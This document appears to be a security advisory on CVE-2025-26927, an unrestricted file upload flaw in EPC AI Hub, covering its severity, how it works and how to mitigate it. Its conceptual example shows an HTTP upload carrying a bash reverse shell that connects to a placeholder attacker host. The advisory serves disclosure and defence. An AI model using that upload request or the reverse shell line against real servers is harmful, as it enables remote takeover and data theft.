Overview
A critical vulnerability has been identified in the EPC AI Hub, designated as CVE-2025-26927. This vulnerability, an unrestricted file upload of dangerous type, potentially allows a malicious attacker to upload a web shell to a web server, leading to system compromise or data leakage. The issue affects AI Hub versions up to and including 1.3.3. Given the severity of this vulnerability, it is essential for affected system administrators to take immediate action to mitigate potential system compromise and loss of sensitive data.
Vulnerability Summary
CVE ID: CVE-2025-26927
Severity: Critical (CVSS 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows disruption of service
Affected Products
Product | Affected Versions
EPC AI Hub | up to 1.3.3
How the Exploit Works
The vulnerability stems from the EPC AI Hub’s failure to adequately validate and restrict types of files that can be uploaded to the server. As a result, a malicious actor can upload a web shell-a script that can be used to control a server via a web interface. Once the web shell is uploaded, the attacker can execute arbitrary commands, modify existing files, or extract sensitive data, effectively compromising the system.
Conceptual Example Code
A conceptual exploitation of this vulnerability might involve an HTTP POST request to a vulnerable endpoint, carrying a malicious payload in the form of a web shell script. An example is provided below:
POST /upload_endpoint HTTP/1.1
Host: vulnerable-host.com
Content-Type: application/x-shellscript
{
"file": "webshell.sh",
"content": "#!/bin/bash\n/bin/bash -i >& /dev/tcp/attacker-ip/8080 0>&1"
}In the above example, the attacker attempts to upload a bash shell script, which if successful, sets up a reverse shell back to the attacker’s machine. This allows the attacker to execute arbitrary commands on the server, leading to full system compromise.
Mitigation
Users are advised to immediately apply the vendor patch to correct this vulnerability. In situations where patching is not possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These should be configured to block or alert on attempts to upload dangerous file types to the server. Users should also consider implementing robust file validation and restriction mechanisms to prevent unauthorized or dangerous file uploads.
